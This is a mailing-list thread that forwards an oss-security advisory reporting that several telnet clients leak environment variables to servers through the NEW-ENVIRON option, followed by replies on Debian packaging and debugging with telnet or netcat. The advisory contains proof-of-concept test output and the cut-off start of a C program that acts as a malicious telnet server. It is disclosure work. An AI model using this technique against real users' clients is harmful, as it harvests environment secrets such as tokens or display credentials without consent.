FYI... from the OSS-Security mailing list at <https://www.openwall.com/lists/oss-security/2026/03/13/1>. This
caught my eye:

Debian's switch from netkit telnet to inetutils telnet during
the Debian 12 (Bookworm) cycle reintroduced this vulnerability
to the default installation.

Jeff

---------- Forwarded message ---------
From: Justin Swartz <justin.swartz@risingedge.co.za>
Date: Fri, Mar 13, 2026 at 9:08?AM
Subject: [oss-security] Some telnet clients leak environment variables
To: <oss-security@lists.openwall.com>
Cc: <justin.swartz@risingedge.co.za>

Greetings,

In a recent oss-security thread [1] regarding the CVE-1999-0073 [2]
regression in GNU inetutils telnetd, Solar Designer suggested [3]
that the inetutils telnet client may not have been subject to an
adequate fix for CVE-2005-0488. [4]

If this were the case, then it would mean that a telnet server could
possibly read a client's environment variables with the NEW-ENVIRON
option and the SEND ENV_USERVAR command.

So, I wrote a simple proof of concept (attached below this message
as envscraper.c) to find out if I could convince a telnet client to
tell me the value of an arbitrary environment variable.


SUMMARY OF AFFECTED CLIENTS

GNU inetutils 2.7.33 [VULNERABLE]

The client unconditionally leaks any requested environment
variable. No export required.

Debian's switch from netkit telnet to inetutils telnet during
the Debian 12 (Bookworm) cycle reintroduced this vulnerability
to the default installation.

Debian derived distributions such as Ubuntu, Devuan, and mobile
environments such as Termux are also at risk.


FreeBSD 16.0-CURRENT & NetBSD 11.0-RC2 [VULNERABLE]

Both clients unconditionally leak any requested environment
variable. No export required.


OpenBSD 7.8 [PARTIAL LEAKAGE]

The client blocks most variables which have not been explicitly
exported, but potentially sensitive variables such as DISPLAY,
XAUTHORITY and PRINTER are leaked without prior export.


Oracle Solaris 11.4 [VULNERABLE]

The client unconditionally leaks any requested environment
variable. No export required.

It's also worth noting that it replaces the DISPLAY variable
with just the local hostname, effectively dropping the display
(and optional screen) number.


POTENTIAL ABUSE VIA telnet:// URI SCHEME HANDLING

This issue may also be triggered through web browsers which
support the telnet:// URI scheme. Some terminal-based web
browsers, such as Lynx and Elinks, pass the address and port
declared in a telnet:// URI directly to the system's native
telnet binary.

Because the spawned telnet process inherits the browser's
environment, an attacker may read these variables by leading
the user to follow either a direct link to a telnet://
URI, or to an HTTP 3xx redirect that points to a telnet://
URI instead.

No other browsers or HTTP clients that support this scheme
were tested.


TEST DATA

The following tests were conducted against the native telnet
clients of the respective operating systems.


-------------------------------------------- GNU inetutils 2.7.33 [VULNERAB
LE]

$ telnet -V
telnet (GNU inetutils) 2.7.33-81d43
Copyright (C) 2026 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.ht ml>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Written by many authors.


# Unconditionally leaks requested variables ...

$ ./envscraper | xxd
00000000: fffb 27ff fa27 0003 4744 5052 0156 494f ..'..'..GDPR.VIO
00000010: 4c41 5445 44ff f0 LATED..

$ GDPR=VIOLATED telnet 127.0.0.1 23232
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
Connection closed by foreign host.


-------------------------------------------- FreeBSD 16.0-CURRENT [VULNERAB
LE]

root@freebsd:/tmp # uname -a
FreeBSD freebsd 16.0-CURRENT FreeBSD 16.0-CURRENT #0 main-n284417-8f72d933c
d18
:Mon Mar 9 11:57:15 UTC 2026 root@releng3.nyi.freebsd.org:/usr/obj/usr
/sr
c/amd64.amd64/sys/GENERIC amd64


# Unconditionally leaks requested variables ...

root@freebsd:/tmp # ./envscraper GDPR | hexdump -C
00000000 ff fb 27 ff fa 27 00 03 47 44 50 52 01 56 49 4f |..'..'..GDPR.V
IO|
00000010 4c 41 54 45 44 ff f0 |LATED..|
00000017

root@freebsd:/tmp # GDPR=VIOLATED telnet 127.0.0.1 23232
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Connection closed by foreign host.


------------------------------------------------- NetBSD 11.0-RC2 [VULNERAB
LE]

netbsd# uname -a
NetBSD netbsd 11.0_RC2 NetBSD 11.0_RC2 (GENERIC) #0: Wed Mar 4 21:02:00 UT
C 2
026 mkrepro@mkrepro.NetBSD.org:/usr/src/sys/arch/amd64/compile/GENERIC amd
64


# Unconditionally leaks requested variables ...

netbsd# ./envscraper GDPR | hexdump -C
00000000 ff fb 27 ff fa 27 00 03 47 44 50 52 01 56 49 4f |..'..'..GDPR.V
IO|
00000010 4c 41 54 45 44 ff f0 |LATED..|
00000017

netbsd# GDPR=VIOLATED telnet 127.0.0.1 23232
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Connection closed by foreign host.


------------------------------------------------ OpenBSD 7.8 [PARTIAL LEAKA
GE]

openbsd# uname -a
OpenBSD openbsd.my.domain 7.8 GENERIC#54 amd64


# Blocks most variables which have not been explicitly exported ...

openbsd# ./envscraper GDPR | hexdump -C
00000000 ff fb 27 ff fa 27 00 03 47 44 50 52 ff f0 |..'..'..GDPR..
|
0000000e

openbsd# GDPR=VIOLATED telnet 127.0.0.1 23232
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
Connection closed by foreign host.


# But will leak those variables if they're explicitly exported ...

openbsd# ./envscraper GDPR | hexdump -C
00000000 ff fb 27 ff fa 27 00 03 47 44 50 52 01 56 49 4f |..'..'..GDPR.V
IO|
00000010 4c 41 54 45 44 ff f0 |LATED..|
00000017

openbsd# GDPR=VIOLATED telnet
telnet> environ export GDPR
telnet> open 127.0.0.1 23232
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
Connection closed by foreign host.


# Leaks the client's DISPLAY (with FQDN) without explicit export ...

openbsd# ./envscraper DISPLAY | hexdump -C
00000000 ff fb 27 ff fa 27 00 00 44 49 53 50 4c 41 59 01 |..'..'..DISPLA
Y.|
00000010 6f 70 65 6e 62 73 64 2e 6d 79 2e 64 6f 6d 61 69 |openbsd.my.dom
ai|
00000020 6e 3a 31 2e 30 ff f0 |n:1.0..|
00000027

openbsd# DISPLAY=:1.0 telnet 127.0.0.1 23232
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
Connection closed by foreign host.


# Leaks the client's XAUTHORITY without explicit export ...

openbsd# ./envscraper XAUTHORITY | hexdump -C
00000000 ff fb 27 ff fa 27 00 03 58 41 55 54 48 4f 52 49 |..'..'..XAUTHO
RI|
00000010 54 59 01 2f 68 6f 6d 65 2f 75 73 65 72 2f 2e 58 |TY./home/user/
.X|
00000020 61 75 74 68 6f 72 69 74 79 ff f0 |authority..| 0000002b

openbsd# XAUTHORITY="/home/user/.Xauthority" telnet 127.0.0.1 23232
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
Connection closed by foreign host.


# Leaks the client's PRINTER without explicit export ...

openbsd# ./envscraper PRINTER | hexdump -C
00000000 ff fb 27 ff fa 27 00 00 50 52 49 4e 54 45 52 01 |..'..'..PRINTE
R.|
00000010 6e 6f 66 61 78 67 69 76 65 6e ff f0 |nofaxgiven..| 0000001c

openbsd# PRINTER="nofaxgiven" telnet 127.0.0.1 23232
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
Connection closed by foreign host.


--------------------------------------------- Oracle Solaris 11.4 [VULNERAB
LE]

root@solaris:/tmp# uname -a
SunOS solaris 5.11 11.4.0.15.0 i86pc i386 i86pc


# Unconditionally leaks requested variables ...

root@solaris:/tmp# ./envscraper GDPR | xxd
00000000: fffb 27ff fa27 0003 4744 5052 0156 494f ..'..'..GDPR.VIO
00000010: 4c41 5445 44ff f0 LATED..

root@solaris:/tmp# GDPR=VIOLATED telnet 127.0.0.1 23232
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
Connection to 127.0.0.1 closed by foreign host.


# Leaks the client's local hostname via DISPLAY without explicit export ...

root@solaris:/tmp# ./envscraper DISPLAY | xxd
00000000: fffb 27ff fa27 0000 4449 5350 4c41 5901 ..'..'..DISPLAY.
00000010: 736f 6c61 7269 73ff f0 solaris..

root@solaris:/tmp# DISPLAY=:1.0 telnet 127.0.0.1 23232
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
Connection to 127.0.0.1 closed by foreign host.


---------------------------------------------------------------------------
---

This commentary and the attached proof of concept are released into the
public domain.


Regards,
Justin


--- Links ---
[1] https://www.openwall.com/lists/oss-security/2026/02/24/1
[2] https://nvd.nist.gov/vuln/detail/CVE-1999-0073
[3] https://www.openwall.com/lists/oss-security/2026/03/08/4
[4] https://nvd.nist.gov/vuln/detail/cve-2005-0488


--- BEGIN envscraper.c ---
/*
* Attempt to extract an environment variable from a telnet client.
* $ cc -o envscraper envscraper.c -Wall -Werror -Wextra -pedantic
*/

#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define IP_ADDRESS htonl(0x7f000001)
#define PORT htons(23232)

#define IAC "\xff"
#define DO "\xfd"
#define SB "\xfa"
#define SE "\xf0"
#define NEW_ENVIRON "\x27"
#define SEND "\x01"
#define USERVAR "\x

On Fri Mar 13, 2026 at 1:42 PM GMT, Jeffrey Walton wrote:

FYI... from the OSS-Security mailing list at <https://www.openwall.com/lists/oss-security/2026/03/13/1>. This
caught my eye:

Debian's switch from netkit telnet to inetutils telnet during
the Debian 12 (Bookworm) cycle reintroduced this vulnerability
to the default installation.

Hmm. inetutils-telnet is Priority: standard. (It's the only binary
package built from inetutils source which is). At some point in time, it
would have been reasonable to expect a telnet client on any system. I'm
not sure if that's still true: it's probably due for assessment. I'm not planning on pursuing this myself, though.

--
???????
??????? Jonathan Do
wland
??????? https://jmt
d.net
??????? Please do n
ot CC me, I am subscribed to the list.

--- PyGate Linux v1.5.13
* Origin: Dragon's Lair, PyGate NNTP<>Fido Gate (3:633/10)

I don't think anyone uses telnet for it *original* purpose.

It is useful for *debuging* a Tcp/Ip server, since telnet can take a port number as a parameter. That is, suppose you write a server listening on port 12021, one can test the program with the command

telnet localhost 12021

And then type what you would expect a client for your server would send and see if the server responds properly.

At Fri, 13 Mar 2026 21:16:24 +0000 "Jonathan Dowland" <jmtd@debian.org> wrote:

On Fri Mar 13, 2026 at 1:42 PM GMT, Jeffrey Walton wrote:

FYI... from the OSS-Security mailing list at <https://www.openwall.com/lists/oss-security/2026/03/13/1>. This
caught my eye:

Debian's switch from netkit telnet to inetutils telnet during
the Debian 12 (Bookworm) cycle reintroduced this vulnerability
to the default installation.

Hmm. inetutils-telnet is Priority: standard. (It's the only binary
package built from inetutils source which is). At some point in time, it would have been reasonable to expect a telnet client on any system. I'm
not sure if that's still true: it's probably due for assessment. I'm not planning on pursuing this myself, though.

--
Robert Heller -- Cell: 413-658-7953 GV: 978-633-5364
Deepwoods Software -- Custom Software Services
http://www.deepsoft.com/ -- Linux Administration Services
heller@deepsoft.com -- Webhosting Services


--- PyGate Linux v1.5.13
* Origin: Dragon's Lair, PyGate NNTP<>Fido Gate (3:633/10)

Subject: Re: Fwd: [oss-security] Some telnet clients leak environment? variables

On Fri, Mar 13, 2026 at 20:03:49 -0400, Robert Heller wrote:

I don't think anyone uses telnet for it *original* purpose.

I would bet money that there's at least one person on this planet still
doing so.

It is useful for *debuging* a Tcp/Ip server, since telnet can take a port number as a parameter. That is, suppose you write a server listening on port 12021, one can test the program with the command

telnet localhost 12021

And then type what you would expect a client for your server would send and see if the server responds properly.

All true, but irrelevant to the issue, which is that there's a security
bug that needs to be addressed.

--- PyGate Linux v1.5.13
* Origin: Dragon's Lair, PyGate NNTP<>Fido Gate (3:633/10)

Robert Heller <heller@deepsoft.com> wrote:

I don't think anyone uses telnet for it *original* purpose.

It is useful for *debuging* a Tcp/Ip server, since telnet can take a port number as a parameter. That is, suppose you write a server listening on port
12021, one can test the program with the command

telnet localhost 12021

Yes, I sometimes use telnet to do that, it's about the only time I
ever use it nowadays.

--
Chris Green
ú

--- PyGate Linux v1.5.13
* Origin: Dragon's Lair, PyGate NNTP<>Fido Gate (3:633/10)

Subject: Re: Fwd: [oss-security] Some telnet clients leak environment? variables

On Fri, 2026-03-13 at 20:03 -0400, Robert Heller wrote:

I don't think anyone uses telnet for it *original* purpose.

It is useful for *debuging* a Tcp/Ip server, since telnet can take a
port number as a parameter.ÿ That is, suppose you write a server
listening on port 12021, one can test the program with the command

telnet localhost 12021

And then type what you would expect a client for your server would
send and see if the server responds properly.

You should never ever abuse 'telnet' for that purpose, as it is not a
clean socket connection but a protocol with commands of its own (as the security issue mentioned earlier in this thread illustrates).

You should use something like 'netcat' (often abbreviated as 'nc') or
'ncat' instead:

nc localhost 12021
ncat localhost 12021



--
Jan Claeys

(please don't CC me when replying to the list)

--- PyGate Linux v1.5.13
* Origin: Dragon's Lair, PyGate NNTP<>Fido Gate (3:633/10)